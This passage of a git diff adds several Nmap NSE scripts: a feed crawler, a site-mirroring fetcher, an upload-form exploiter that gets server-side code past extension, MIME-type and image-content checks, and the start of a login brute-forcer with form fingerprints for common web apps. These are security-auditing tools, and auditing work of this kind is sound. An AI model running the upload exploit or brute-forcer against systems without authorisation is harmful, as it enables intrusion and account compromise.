+ _, j, name, quote, value = string.find(body, "^%s*(%w+)%s*=%s*([\"'])(.-)%2", j + 1)
+ if not j then
+ break
+ end
+ if string.lower(name) == "rel" then
+ rel = value
+ elseif string.lower(name) == "href" then
+ href = value
+ end
+ end
+ for word in string.gmatch(rel or "", "%S+") do
+ if string.lower(word) == "icon" then
+ return href
+ end
+ end
+ end
+end
diff --git a/scripts/http-feed.nse b/scripts/http-feed.nse
new file mode 100644
index 0000000..57fc187
--- /dev/null
+++ b/scripts/http-feed.nse
@@ -0,0 +1,159 @@
+description = [[
+This script crawls through the website to find any rss or atom feeds.
+
+The script, by default, spiders and searches within forty pages. For large web
+applications make sure to increase httpspider's <code>maxpagecount</code> value.
+Please, note that the script will become more intrusive though.
+]]
+
+---
+-- @usage nmap -p80 --script http-feed.nse <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-feed:
+-- | Spidering limited to: maxpagecount=40; withinhost=some-random-page.com
+-- | Found the following feeds:
+-- | RSS (version 2.0): http://www.some-random-page.com/2011/11/20/feed/
+-- | RSS (version 2.0): http://www.some-random-page.com/2011/12/04/feed/
+-- | RSS (version 2.0): http://www.some-random-page.com/category/animalsfeed/
+-- | RSS (version 2.0): http://www.some-random-page.com/comments/feed/
+-- |_ RSS (version 2.0): http://www.some-random-page.com/feed/
+---
+
+categories = {"discovery", "intrusive"}
+author = "George Chatzisofroniou"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local string = require "string"
+local httpspider = require "httpspider"
+
+portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
+
+FEEDS = { RSS = { search = { '<rss(.*)>' }, version = 'version=["\'](.-)["\']' },
+ Atom = { search = { '<feed(.*)>' }, version = 'version=["\'](.-)["\']' },
+ }
+
+FEEDS_REFS = { "type=[\"']application/rss%+xml[\"']%s*href=[\"'](.-)[\"']",
+ "type=[\"']application/rss%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']",
+ "type=[\"']application/atom%+xml[\"']%s*href=[\"'](.-)[\"']",
+ "type=[\"']application/atom%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']",
+ }
+
+feedsfound = {}
+
+checked = {}
+
+-- Searches the resource for feeds.
+local findFeeds = function(body, path)
+
+ if body then
+ for _, f in pairs(FEEDS) do
+ for __, pf in pairs(f["search"]) do
+
+ local c = string.match(body, pf)
+
+ if c then
+ local v = ""
+ -- Try to find feed's version.
+ if string.match(c, f["version"]) then
+ v = " (version " .. string.match(c, f["version"]) .. ")"
+ end
+ feedsfound[path] = _ .. v .. ": "
+ end
+
+ end
+ end
+ end
+ checked[path] = true
+end
+
+
+action = function(host, port)
+
+ --TODO: prefix this with SCRIPT_NAME and document it.
+ local maxpagecount = stdnse.get_script_args("maxpagecount") or 40
+
+ local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
+ maxpagecount = maxpagecount,
+ maxdepth = -1,
+ withinhost = 1
+ })
+
+ crawler.options.doscraping = function(url)
+ if crawler:iswithinhost(url)
+ and not crawler:isresource(url, "js")
+ and not crawler:isresource(url, "css") then
+ return true
+ end
+ end
+
+ if (not(crawler)) then
+ return
+ end
+
+ crawler:set_timeout(10000)
+
+ local index, k, target, response, path
+ while (true) do
+
+ local status, r = crawler:crawl()
+ -- if the crawler fails it can be due to a number of different reasons
+ -- most of them are "legitimate" and should not be reason to abort
+ if (not(status)) then
+ if (r.err) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ response = r.response
+ path = tostring(r.url)
+
+ if response.body then
+ findFeeds(response.body, path)
+
+ for _, p in ipairs(FEEDS_REFS) do
+ for l in string.gmatch(response.body, p) do
+ if not checked[l] then
+ local resp
+ -- If this is an absolute URL, use get_url.
+ if string.match(l, "^http") then
+ resp = http.get_url(l)
+ else
+ resp = http.get(host, port, l)
+ end
+ if resp.body then
+ findFeeds(resp.body, l)
+ end
+ end
+ end
+ end
+ end
+
+ end
+
+ -- If the table is empty.
+ if next(feedsfound) == nil then
+ return "Couldn't find any feeds."
+ end
+
+ -- Create a nice output.
+ local results = {}
+ for c, _ in pairs(feedsfound) do
+ table.insert(results, {_ .. c } )
+ end
+
+ table.insert(results, 1, "Found the following feeds: ")
+
+ results.name = crawler:getLimitations()
+
+ return stdnse.format_output(true, results)
+
+end
diff --git a/scripts/http-fetch.nse b/scripts/http-fetch.nse
new file mode 100644
index 0000000..d90d5d2
--- /dev/null
+++ b/scripts/http-fetch.nse
@@ -0,0 +1,251 @@
+local http = require "http"
+local httpspider = require "httpspider"
+local io = require "io"
+local lfs = require "lfs"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[The script is used to fetch files from servers.
+
+The script supports three different use cases:
+* The paths argument isn't provided, the script spiders the host
+ and downloads files in their respective folders relative to
+ the one provided using "destination".
+* The paths argument(a single item or list) is provided and the path starts
+ with "/", the script tries to fetch the path relative to the url
+ provided via the argument "url".
+* The paths argument(a single item or list) is provided and the path doesn't
+ start with "/". Then the script spiders the host and tries to find
+ files which contain the path(now treated as a pattern).
+]]
+
+---
+-- @usage nmap --script http-fetch --script-args destination=/tmp/mirror <target>
+-- nmap --script http-fetch --script-args 'paths={/robots.txt,/favicon.ico}' <target>
+-- nmap --script http-fetch --script-args 'paths=.html' <target>
+-- nmap --script http-fetch --script-args 'url=/images,paths={.jpg,.png,.gif}' <target>
+--
+-- @args http-fetch.destination - The full path of the directory to save the file(s) to preferably with the trailing slash.
+-- @args http-fetch.files - The name of the file(s) to be fetched.
+-- @args http-fetch.url The base URL to start fetching. Default: "/"
+-- @args http-fetch.paths A list of paths to fetch. If relative, then the site will be spidered to find matching filenames.
+-- Otherwise, they will be fetched relative to the url script-arg.
+-- @args http-fetch.maxdepth The maximum amount of directories beneath
+-- the initial url to spider. A negative value disables the limit.
+-- (default: 3)
+-- @args http-fetch.maxpagecount The maximum amount of pages to fetch.
+-- @args http-fetch.noblacklist By default files like jpg, rar, png are blocked. To
+-- fetch such files set noblacklist to true.
+-- @args http-fetch.withinhost The default behavior is to fetch files from the same host. Set to False
+-- to do otherwise.
+-- @args http-fetch.withindomain If set to true then the crawling would be restricted to the domain provided
+-- by the user.
+--
+-- @output
+-- | http-fetch:
+-- | Successfully Downloaded:
+-- | http://scanme.nmap.org:80/ as /tmp/mirror/45.33.32.156/80/index.html
+-- |_ http://scanme.nmap.org/shared/css/insecdb.css as /tmp/mirror/45.33.32.156/80/shared/css/insecdb.css
+--
+-- @xmloutput
+-- <table key="Successfully Downloaded">
+-- <elem>http://scanme.nmap.org:80/ as /tmp/mirror/45.33.32.156/80/index.html</elem>
+-- <elem>http://scanme.nmap.org/shared/css/insecdb.css as /tmp/mirror/45.33.32.156/80/shared/css/insecdb.css</elem>
+-- </table>
+-- <elem key="result">Successfully Downloaded Everything At: /tmp/mirror/45.33.32.156/80/</elem>
+
+author = "Gyanendra Mishra"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"safe"}
+
+portrule = shortport.http
+
+local SEPARATOR = lfs.get_path_separator()
+
+local function build_path(file, url)
+ local path = '/' .. url .. file
+ return path:gsub('//', '/')
+end
+
+local function create_directory(path)
+ local status, err = lfs.mkdir(path)
+ if status then
+ stdnse.debug2("Created path %s", path)
+ return true
+ elseif err == "No such file or directory" then
+ stdnse.debug2("Parent directory doesn't exist %s", path)
+ local index = string.find(path:sub(1, path:len() -1), SEPARATOR .. "[^" .. SEPARATOR .. "]*$")
+ local sub_path = path:sub(1, index)
+ stdnse.debug2("Trying path...%s", sub_path)
+ create_directory(sub_path)
+ lfs.mkdir(path)
+ end
+end
+
+local function save_file(content, file_name, destination, url)
+
+ local file_path
+
+ if file_name then
+ file_path = destination .. file_name
+ else
+ file_path = destination .. url:getDir()
+ create_directory(file_path)
+ if url:getDir() == url:getFile() then
+ file_path = file_path .. "index.html"
+ else
+ file_path = file_path .. stringaux.filename_escape(url:getFile():gsub(url:getDir(),""))
+ end
+ end
+
+ file_path = file_path:gsub("//", "/")
+ file_path = file_path:gsub("\\/", "\\")
+
+ local file,err = io.open(file_path,"r")
+ if not err then
+ stdnse.debug1("File Already Exists")
+ return true, file_path
+ end
+ file, err = io.open(file_path,"w")
+ if file then
+ stdnse.debug1("Saving to ...%s",file_path)
+ file:write(content)
+ file:close()
+ return true, file_path
+ else
+ stdnse.debug1("Error encountered in writing file.. %s",err)
+ return false, err
+ end
+end
+
+local function fetch_recursively(host, port, url, destination, patterns, output)
+ local crawler = httpspider.Crawler:new(host, port, url, { scriptname = SCRIPT_NAME })
+ crawler:set_timeout(10000)
+ while(true) do
+ local status, r = crawler:crawl()
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+ local body = r.response.body
+ local url_string = tostring(r.url)
+ local file = r.url:getFile():gsub(r.url:getDir(),"")
+ if body and r.response.status == 200 and patterns then
+ for _, pattern in pairs(patterns) do
+ if file:find(pattern, nil, true) then
+ local status, err_message = save_file(r.response.body, nil, destination, r.url)
+ if status then
+ output['Matches'] = output['Matches'] or {}
+ output['Matches'][pattern] = output['Matches'][pattern] or {}
+ table.insert(output['Matches'][pattern], string.format("%s as %s",r.url:getFile()),err_message)
+ else
+ output['ERROR'] = output['ERROR'] or {}
+ output['ERROR'][url_string] = err_message
+ end
+ break
+ end
+ end
+ elseif body and r.response.status == 200 then
+ stdnse.debug1("Processing url.......%s",url_string)
+ local stat, path_or_err = save_file(body, nil, destination, r.url)
+ if stat then
+ output['Successfully Downloaded'] = output['Successfully Downloaded'] or {}
+ table.insert(output['Successfully Downloaded'], string.format("%s as %s", url_string, path_or_err))
+ else
+ output['ERROR'] = output['ERROR'] or {}
+ output['ERROR'][url_string] = path_or_err
+ end
+ else
+ if not r.response.body then
+ stdnse.debug1("No Body For: %s",url_string)
+ elseif r.response and r.response.status ~= 200 then
+ stdnse.debug1("Status not 200 For: %s",url_string)
+ else
+ stdnse.debug1("False URL picked by spider!: %s",url_string)
+ end
+ end
+ end
+end
+
+
+local function fetch(host, port, url, destination, path, output)
+ local response = http.get(host, port, build_path(path, url), nil)
+ if response and response.status and response.status == 200 then
+ local file = path:sub(path:find("/[^/]*$") + 1)
+ local save_as = (host.targetname or host.ip) .. SEPARATOR .. tostring(port.number) .. "-" .. file
+ local status, err_message = save_file(response.body, save_as, destination)
+ if status then
+ output['Successfully Downloaded'] = output['Successfully Downloaded'] or {}
+ table.insert(output['Successfully Downloaded'], string.format("%s as %s", path, save_as))
+ else
+ output['ERROR'] = output['ERROR'] or {}
+ output['ERROR'][path] = err_message
+ end
+ else
+ stdnse.debug1("%s doesn't exist on server at %s.", path, url)
+ end
+end
+
+action = function(host, port)
+
+ local destination = stdnse.get_script_args(SCRIPT_NAME..".destination") or false
+ local url = stdnse.get_script_args(SCRIPT_NAME..".url") or "/"
+ local paths = stdnse.get_script_args(SCRIPT_NAME..'.paths') or nil
+
+ local output = stdnse.output_table()
+ local patterns = {}
+
+ if not destination then
+ output.ERROR = "Please enter the complete path of the directory to save data in."
+ return output, output.ERROR
+ end
+
+ local sub_directory = tostring(host.ip) .. SEPARATOR .. tostring(port.number) .. SEPARATOR
+
+ if destination:sub(-1) == '\\' or destination:sub(-1) == '/' then
+ destination = destination .. sub_directory
+ else
+ destination = destination .. SEPARATOR .. sub_directory
+ end
+
+ if paths then
+ if type(paths) ~= 'table' then
+ paths = {paths}
+ end
+ for _, path in pairs(paths) do
+ if path:sub(1, 1) == "/" then
+ fetch(host, port, url, destination, path, output)
+ else
+ table.insert(patterns, path)
+ end
+ end
+ if #patterns > 0 then
+ fetch_recursively(host, port, url, destination, patterns, output)
+ end
+ else
+ fetch_recursively(host, port, url, destination, nil, output)
+ end
+
+ if #output > 0 then
+ if paths then
+ return output
+ else
+ if nmap.verbosity() > 1 then
+ return output
+ else
+ output.result = "Successfully Downloaded Everything At: " .. destination
+ return output, output.result
+ end
+ end
+ end
+end
+
diff --git a/scripts/http-fileupload-exploiter.nse b/scripts/http-fileupload-exploiter.nse
new file mode 100644
index 0000000..b771ae9
--- /dev/null
+++ b/scripts/http-fileupload-exploiter.nse
@@ -0,0 +1,342 @@
+description = [[
+Exploits insecure file upload forms in web applications
+using various techniques like changing the Content-type
+header or creating valid image files containing the
+payload in the comment.
+]]
+
+---
+-- @usage nmap -p80 --script http-fileupload-exploiter.nse <target>
+--
+-- This script discovers the upload form on the target's page and
+-- attempts to exploit it using 3 different methods:
+--
+-- 1) At first, it tries to upload payloads with different insecure
+-- extensions. This will work against a weak blacklist used by a file
+-- name extension verifier.
+--
+-- 2) If (1) doesn't work, it will try to upload the same payloads
+-- this time with different Content-type headers, like "image/gif"
+-- instead of the "text/plain". This will trick any mechanisms that
+-- check the MIME type.
+--
+-- 3) If (2), doesn't work, it will create some proper GIF images
+-- that contain the payloads in the comment. The interpreter will
+-- see the executable inside some binary garbage. This will bypass
+-- any check of the actual content of the uploaded file.
+--
+-- TODO:
+-- * Use the vulns library to report.
+--
+-- @args http-fileupload-exploiter.formpaths The pages that contain
+-- the forms to exploit. For example, {/upload.php, /login.php}.
+-- Default: nil (crawler mode on)
+-- @args http-fileupload-exploiter.uploadspaths Directories with
+-- the uploaded files. For example, {/avatars, /photos}. Default:
+-- {'/uploads', '/upload', '/file', '/files', '/downloads'}
+-- @args http-fileupload-exploiter.fieldvalues The script will try to
+-- fill every field found in the upload form but that may fail
+-- due to fields' restrictions. You can manually fill those
+-- fields using this table. For example, {gender = "male", email
+-- = "foo@bar.com"}. Default: {}
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | Testing page /post.html
+-- |
+-- | Successfully uploaded and executed payloads:
+-- | Filename: 1.php, MIME: text/plain
+-- |_ Filename: 1.php3, MIME: text/plain
+---
+
+categories = {"intrusive", "exploit", "vuln"}
+author = "George Chatzisofroniou"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+local http = require "http"
+local io = require "io"
+local nmap = require "nmap"
+local string = require "string"
+local httpspider = require "httpspider"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
+
+
+-- A list of payloads. The interpreted code in the 'content' variable should
+-- output the result in the 'check' variable.
+--
+-- You can manually add / remove your own payloads but make sure you
+-- don't mess up, otherwise the script may succeed when it actually
+-- hasn't.
+--
+-- Note, that more payloads will slow down your scan significantly.
+payloads = { { filename = "1.php", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
+ { filename = "1.php3", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
+-- { filename = "1.php4", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
+-- { filename = "1.shtml", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
+-- { filename = "1.py", content = "print 123456 + 654321", check = "777777" },
+-- { filename = "1.pl", content = "print 123456 + 654321", check = "777777" },
+-- { filename = "1.sh", content = "echo 123456 + 654321", check = "777777" },
+-- { filename = "1.jsp", content = "<%= 123456 + 654321 %>", check = "777777" },
+-- { filename = "1.asp", content = "<%= 123456 + 654321 %>", check = "777777" },
+}
+
+listofrequests = {}
+
+-- Escape for jsp and asp payloads.
+local escape = function(s)
+ return (s:gsub('%%', '%%%%'))
+end
+
+-- Represents an upload-request.
+local function UploadRequest(host, port, submission, partofrequest, name, filename, mime, payload, check)
+ local request = {
+ host = host;
+ port = port;
+ submission = submission;
+ mime = mime;
+ name = name;
+ filename = filename;
+ partofrequest = partofrequest;
+ payload = payload;
+ check = check;
+ uploadedpaths = {};
+ success = 0;
+
+ make = function(self)
+ local options = { header={} }
+ options['header']['Content-Type'] = "multipart/form-data; boundary=AaB03x"
+ options['content'] = self.partofrequest .. '--AaB03x\nContent-Disposition: form-data; name="' .. self.name .. '"; filename="' .. self.filename .. '"\nContent-Type: ' .. self.mime .. '\n\n' .. self.payload .. '\n--AaB03x--'
+
+ stdnse.debug2("Making a request: Header: " .. options['header']['Content-Type'] .. "\nContent: " .. escape(options['content']))
+
+ local response = http.post(self.host, self.port, self.submission, options, { no_cache = true })
+
+ return response.body
+ end;
+
+ checkPayload = function(self, uploadspaths)
+ for _, uploadpath in ipairs(uploadspaths) do
+ local response = http.get(host, port, uploadpath .. '/' .. filename, { no_cache = true } )
+
+ if response.status ~= 404 then
+ if (response.body:match(self.check)) then
+ self.success = 1
+ table.insert(self.uploadedpaths, uploadpath)
+ end
+ end
+ end
+ end;
+ }
+ table.insert(listofrequests, request)
+ return request
+end
+
+-- Create customized requests for all of our payloads.
+local buildRequests = function(host, port, submission, name, mime, partofrequest, uploadspaths, image)
+
+ for i, p in ipairs(payloads) do
+ if image then
+ p['content'] = string.gsub(image, '!!comment!!', escape(p['content']), 1, true)
+ end
+ UploadRequest(host, port, submission, partofrequest, name, p['filename'], mime, p['content'], p['check'])
+ end
+
+end
+
+-- Make the requests that we previously created with buildRequests()
+-- Check if the payloads were successful by checking the content of pages in the uploadspaths array.
+local makeAndCheckRequests = function(uploadspaths)
+
+ local exit = 0
+ local output = {"Successfully uploaded and executed payloads: "}
+
+ for i=1, #listofrequests, 1 do
+ listofrequests[i]:make()
+ listofrequests[i]:checkPayload(uploadspaths)
+ if (listofrequests[i].success == 1) then
+ exit = 1
+ table.insert(output, " Filename: " .. listofrequests[i].filename .. ", MIME: " .. listofrequests[i].mime .. ", Uploaded on: ")
+ for _, uploadedpath in ipairs(listofrequests[i].uploadedpaths) do
+ table.insert(output, uploadedpath .. "/" .. listofrequests[i].filename)
+ end
+ end
+ end
+
+ if exit == 1 then
+ return output
+ end
+
+ listofrequests = {}
+
+end
+
+local prepareRequest = function(fields, fieldvalues)
+
+ local filefield = 0
+ local req = {}
+ local value
+
+ for _, field in ipairs(fields) do
+ if field["type"] == "file" then
+ -- FIXME: What if there is more than one <input type="file">?
+ filefield = field
+ elseif field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
+ if fieldvalues[field["name"]] ~= nil then
+ value = fieldvalues[field["name"]]
+ else
+ value = "SampleData0"
+ end
+ req[#req+1] = ('--AaB03x\nContent-Disposition: form-data; name="%s";\n\n%s\n'):format(field["name"], value)
+ end
+ end
+
+ return table.concat(req), filefield
+
+end
+
+action = function(host, port)
+
+ local formpaths = stdnse.get_script_args("http-fileupload-exploiter.formpaths")
+ local uploadspaths = stdnse.get_script_args("http-fileupload-exploiter.uploadspaths") or {'/uploads', '/upload', '/file', '/files', '/downloads'}
+ local fieldvalues = stdnse.get_script_args("http-fileupload-exploiter.fieldvalues") or {}
+
+ local returntable = {}
+
+ local result
+ local foundform = 0
+ local foundfield = 0
+ local fail = 0
+
+ local pixel = nil
+ local pixelfn = nmap.fetchfile("nselib/data/pixel.gif")
+ if pixelfn then
+ local fh = io.open(pixelfn, "rb")
+ pixel = fh:read("a")
+ fh:close()
+ end
+ if not pixel then
+ stdnse.debug1("Warning: Test file nselib/data/pixel.gif not found")
+ end
+
+ local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
+
+ if (not(crawler)) then
+ return
+ end
+
+ crawler:set_timeout(10000)
+
+ local index, k, target, response
+
+ while (true) do
+
+ if formpaths then
+ k, target = next(formpaths, index)
+ if (k == nil) then
+ break
+ end
+ response = http.get(host, port, target)
+ else
+
+ local status, r = crawler:crawl()
+ -- if the crawler fails it can be due to a number of different reasons
+ -- most of them are "legitimate" and should not be reason to abort
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ target = tostring(r.url)
+ response = r.response
+
+ end
+
+
+ if response.body then
+
+ local forms = http.grab_forms(response.body)
+
+ for i, form in ipairs(forms) do
+
+ form = http.parse_form(form)
+
+ if form and form.action then
+
+ local action_absolute = string.find(form["action"], "https*://")
+
+ -- Determine the path where the form needs to be submitted.
+ local submission
+ if action_absolute then
+ submission = form["action"]
+ else
+ local path_cropped = string.match(target, "(.*/).*")
+ path_cropped = path_cropped and path_cropped or ""
+ submission = path_cropped..form["action"]
+ end
+
+ foundform = 1
+
+ local partofrequest, filefield = prepareRequest(form["fields"], fieldvalues)
+
+ if filefield ~= 0 then
+
+ foundfield = 1
+
+ -- Method (1).
+ buildRequests(host, port, submission, filefield["name"], "text/plain", partofrequest, uploadspaths)
+
+ result = makeAndCheckRequests(uploadspaths)
+ if result then
+ table.insert(returntable, result)
+ break
+ end
+
+ -- Method (2).
+ buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths)
+ buildRequests(host, port, submission, filefield["name"], "image/png", partofrequest, uploadspaths)
+ buildRequests(host, port, submission, filefield["name"], "image/jpeg", partofrequest, uploadspaths)
+
+ result = makeAndCheckRequests(uploadspaths)
+ if result then
+ table.insert(returntable, result)
+ break
+ end
+
+ -- Method (3).
+ if pixel then
+ buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths, pixel)
+
+ result = makeAndCheckRequests(uploadspaths)
+ if result then
+ table.insert(returntable, result)
+ else
+ fail = 1
+ end
+ end
+ end
+ else
+ table.insert(returntable, {"Couldn't find a file-type field."})
+ end
+ end
+ end
+ if fail == 1 then
+ table.insert(returntable, {"Failed to upload and execute a payload."})
+ end
+ if (index) then
+ index = index + 1
+ else
+ index = 1
+ end
+ end
+ if next(returntable) then
+ return returntable
+ end
+end
diff --git a/scripts/http-form-brute.nse b/scripts/http-form-brute.nse
new file mode 100644
index 0000000..9682281
--- /dev/null
+++ b/scripts/http-form-brute.nse
@@ -0,0 +1,592 @@
+local brute = require "brute"
+local creds = require "creds"
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local tableaux = require "tableaux"
+local url = require "url"
+local rand = require "rand"
+
+description = [[
+Performs brute force password auditing against http form-based authentication.
+
+This script uses the unpwdb and brute libraries to perform password
+guessing. Any successful guesses are stored in the nmap registry, using
+the creds library, for other scripts to use.
+
+The script automatically attempts to discover the form method, action, and
+field names to use in order to perform password guessing. (Use argument
+path to specify the page where the form resides.) If it fails doing so
+the form components can be supplied using arguments method, path, uservar,
+and passvar. The same arguments can be used to selectively override
+the detection outcome.
+
+The script contains a small database of known web apps' form information. This
+improves form detection and also allows for form mangling and custom success
+detection functions. If the script arguments aren't expressive enough, users
+are encouraged to edit the database to fit.
+
+After attempting to authenticate using a HTTP GET or POST request the script
+analyzes the response and attempts to determine whether authentication was
+successful or not. The script analyzes this by checking the response using
+the following rules:
+
+1. If the response was empty the authentication was successful.
+2. If the onsuccess argument was provided then the authentication either
+ succeeded or failed depending on whether the response body contained
+ the message/pattern passed in the onsuccess argument.
+3. If no onsuccess argument was passed, and if the onfailure argument
+ was provided then the authentication either succeeded or failed
+ depending on whether the response body does not contain
+ the message/pattern passed in the onfailure argument.
+4. If neither the onsuccess nor onfailure argument was passed and the
+ response contains a form field named the same as the submitted
+ password parameter then the authentication failed.
+5. Authentication was successful.
+]]
+
+---
+-- @usage
+-- nmap --script http-form-brute -p 80 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-form-brute:
+-- | Accounts
+-- | Patrik Karlsson:secret - Valid credentials
+-- | Statistics
+-- |_ Perfomed 60023 guesses in 467 seconds, average tps: 138
+--
+-- @args http-form-brute.path identifies the page that contains the form
+-- (default: "/"). The script analyses the content of this page to
+-- determine the form destination, method, and fields. If argument
+-- passvar is specified then the form detection is not performed and
+-- the path argument is instead used as the form submission destination
+-- (the form action). Use the other arguments to define the rest of
+-- the form manually as necessary.
+-- @args http-form-brute.method sets the HTTP method (default: "POST")
+-- @args http-form-brute.hostname sets the host header in case of virtual
+-- hosting
+-- @args http-form-brute.uservar (optional) sets the form field name that
+-- holds the username used to authenticate.
+-- @args http-form-brute.passvar sets the http-variable name that holds the
+-- password used to authenticate. If this argument is set then the form
+-- detection is not performed. Use the other arguments to define
+-- the form manually.
+-- @args http-form-brute.onsuccess (optional) sets the message/pattern
+-- to expect on successful authentication
+-- @args http-form-brute.onfailure (optional) sets the message/pattern
+-- to expect on unsuccessful authentication
+-- @args http-form-brute.sessioncookies Attempt to grab session cookies before
+-- submitting the form. Setting this to "false" could speed up cracking
+-- against forms that do not require any cookies to be set before logging
+-- in. Default: true
+
+--
+-- Version 0.5
+-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 05/23/2011 - v0.2 - changed so that uservar is optional
+-- Revised 06/05/2011 - v0.3 - major re-write, added onsuccess, onfailure and
+-- support for redirects
+-- Revised 08/12/2014 - v0.4 - added support for GET method
+-- Revised 08/14/2014 - v0.5 - major revision
+-- - added support for submitting to a different URL
+-- than where the form resides
+-- - added detection of form action method
+-- - improved effectiveness of detection logic and
+-- patterns
+-- - added debug messages for inspection of detection
+-- results
+-- - added retry capability
+--
+
+author = {"Patrik Karlsson", "nnposter"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
+
+
+-- Miscellaneous script-wide constants
+local max_rcount = 2 -- how many times a form submission can be redirected
+local form_debug = 1 -- debug level for printing form components
+
+--- Database of known web apps for form detection
+--
+local known_apps = {
+ joomla = {
+ match = {
+ action = "/administrator/index.php",
+ },
+ uservar = "username",
+ passvar = "passwd",
+ -- http-joomla-brute just checks for name="passwd" to indicate failure,
+ -- so default onfailure should work. TODO: get onsuccess for this app.
+ },
+ django = {
+ match = {
+ action = "/login/",
+ id = "login-form"
+ },
+ uservar = "username",
+ passvar = "password",
+ onsuccess = "Set%-Cookie:%s*sessionid=",
+ },
+ drupal = {
+ match = {
+ action = "user$",
+ id = "user%-login",
+ },
+ uservar = "name",
+ passvar = "pass",
+ onsuccess = "Location: .+user/%d",
+ sessioncookies = false,
+ },
+ mediawiki = {
+ match = {
+ action = "action=submitlogin"
+ },
+ uservar = "wpName",
+ passvar = "wpPassword",
+ onsuccess = "Set%-Cookie:[^\n]*%wUserID=%d",
+ },
+ wordpress = {
+ match = {
+ action = "wp%-login%.php$",
+ },
+ uservar = "log",
+ passvar = "pwd",
+ onsuccess = "Location:[^\n]*/wp%-admin/",
+ mangle = function(form)
+ for i, f in ipairs(form.fields) do
+ if f.name and f.name == "testcookie" then
+ table.remove(form.fields, i)
+ break
+ end
+ end
+ end,
+ sessioncookies = false,
+ },
+ websphere = {
+ match = {
+ action = "/ibm/console/j_security_check"
+ },
+ uservar = "j_username",
+ passvar = "j_password",
+ onfailure = function(response)
+ local body = response.body
+ local rpath = response.header.location
+ return response.status < 300 and body and not (
+ (rpath and rpath:match('logonError%.jsp'))
+ or (
+ body:match('Unable to login%.') or
+ body:match('Login failed%.') or
+ body:match('Invalid User ID or password')
+ )
+ )
+ end,
+ sessioncookies = false,
+ },
+}
+
+---
+-- Test whether a given string (presumably a HTML fragment) contains
+-- a given form field
+--
+-- @param html The HTML string to analyze
+-- @param fldname The field name to look for
+-- @return Verdict (true or false)
+local contains_form_field = function (html, fldname)
+ for _, f in pairs(http.grab_forms(html)) do
+ local form = http.parse_form(f)
+ for _, fld in pairs(form.fields) do
+ if fld.name == fldname then return true end
+ end
+ end
+ return false
+end
+
+local function urlencode_form(fields, uservar, username, passvar, password)
+ local parts = {}
+ for _, field in ipairs(fields) do
+ if field.name then
+ local val = field.value or ""
+ if field.name == uservar then
+ val = username
+ elseif field.name == passvar then
+ val = password
+ end
+ parts[#parts+1] = url.escape(field.name) .. "=" .. url.escape(val)
+ end
+ end
+ return table.concat(parts, "&")
+end
+
+---
+-- Detect a login form in a given HTML page
+--
+-- @param host HTTP host
+-- @param port HTTP port
+-- @param path Path for retrieving the page
+-- @return Form object (see http.parse_form() for description)
+-- or nil (if the operation failed)
+-- @return Error string that describes any failure
+-- @return cookies that were set by the request
+local detect_form = function (host, port, path, hostname)
+ local response = http.get(host, port, path, {
+ bypass_cache = true,
+ header = {Host = hostname}
+ })
+ if not (response and response.body and response.status == 200) then
+ return nil, string.format("Unable to retrieve a login form from path %q", path)
+ end
+
+ for _, f in pairs(http.grab_forms(response.body)) do
+ local form = http.parse_form(f)
+ for app, val in pairs(known_apps) do
+ local match = true
+ -- first check the 'match' table and be sure all values match
+ for k, v in pairs(val.match) do
+ -- ensure that corresponding field exists in form table also
+ match = match and form[k] and string.match(form[k], v)
+ end
+ -- then check that uservar and passvar are in this form
+ if match then
+ -- how many field names must match?
+ match = 2 - (val.uservar and 1 or 0) - (val.passvar and 1 or 0)
+ for _, field in pairs(form.fields) do
+ if field.name and
+ field.name == val.uservar or field.name == val.passvar then
+ -- found one, decrement
+ match = match - 1
+ end
+ -- Have we found them all?
+ if match <= 0 then break end
+ end
+ if match <= 0 then
+ stdnse.debug1("Detected %s login form.", app)
+ -- copy uservar, passvar, etc. from the fingerprint
+ for k, v in pairs(val) do
+ form[k] = v
+ end
+ -- apply any special mangling
+ if val.mangle then
+ val.mangle(form)
+ end
+ return form, nil, response.cookies
+ end
+ -- failed to match uservar and passvar
+ end
+ -- failed to match form
+ end
+ -- No known apps match, try generic matching
+ local unfld, pnfld, ptfld
+ for _, fld in pairs(form.fields) do
+ if fld.name then
+ local name = fld.name:lower()
+ if not unfld and name:match("^user") then
+ unfld = fld
+ end
